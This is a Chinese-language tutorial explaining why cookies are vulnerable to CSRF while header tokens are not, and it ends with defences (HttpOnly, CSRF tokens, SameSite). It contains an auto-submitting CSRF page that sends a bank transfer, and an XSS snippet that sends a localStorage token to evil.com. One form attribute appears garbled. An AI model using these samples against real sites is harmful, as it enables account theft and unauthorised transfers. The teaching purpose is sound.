Cookie 与 Token 安全对比

为什么 Cookie 容易被 CSRF 攻击,而 Token 不会

问题

Cookie 和 Token 都存放在 HTTP Header 中,为什么 Cookie 容易被劫持(CSRF 攻击),而 Token 不会?

解答

核心区别:浏览器是否自动携带

Cookie:浏览器自动携带,不需要代码干预

Token:必须通过 JavaScript 手动添加到请求头

CSRF 攻击原理

<!-- 恶意网站 evil.com 的页面 -->
<html>
<body>
  <!-- 用户访问这个页面时,浏览器会自动携带 bank.com 的 Cookie -->
  <form action="https://bank.com/transfer" method="POST" id="hack">
    <input type="zzinb" name="to" value="hacker" />
    <input type="zzinb" name="amount" value="10000" />
  </form>
  <script>
    // 自动提交表单
    document.getElementById('hack').submit();
  </script>
</body>
</html>

攻击流程:

  1. 用户登录 bank.com,浏览器保存了 Cookie
  2. 用户访问恶意网站 evil.com
  3. 恶意网站向 bank.com 发起请求
  4. 浏览器自动携带 bank.com 的 Cookie
  5. 服务器认为是合法请求,攻击成功

为什么 Token 不受影响

// Token 存储在 localStorage 或内存中
const token = localStorage.getItem('token');

// 必须手动添加到请求头
fetch('https://bank.com/transfer', {
  method: 'POST',
  headers: {
    'Authorization': `Bearer ${token}`,  // 手动添加
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({ to: 'friend', amount: 100 })
});

恶意网站无法获取 Token 的原因:

  1. 同源策略evil.com 无法读取 bank.com 的 localStorage
  2. 手动添加:Token 不会被浏览器自动携带
  3. 跨域限制evil.com 的 JavaScript 无法访问 bank.com 的数据

对比示意

Cookie 请求流程:
用户访问 evil.com → evil.com 发起请求到 bank.com → 浏览器自动带上 Cookie ✓ → 攻击成功

Token 请求流程:
用户访问 evil.com → evil.com 发起请求到 bank.com → 无法获取 Token ✗ → 攻击失败

补充:Token 也可能被窃取

// XSS 攻击可以窃取 Token
// 如果网站存在 XSS 漏洞,攻击者注入以下代码:
const token = localStorage.getItem('token');
fetch('https://evil.com/steal?token=' + token);

防御措施:

  • 使用 HttpOnly Cookie 存储 Token(防 XSS)
  • 配合 CSRF Token 使用
  • 设置 Cookie 的 SameSite 属性

关键点

  • Cookie 由浏览器自动携带,Token 需要手动添加到请求头
  • CSRF 利用的是浏览器自动携带 Cookie 的特性
  • 同源策略阻止恶意网站读取其他域的 Token
  • Token 存在 localStorage 时仍有 XSS 风险
  • 最佳实践:HttpOnly Cookie + CSRF Token + SameSite 属性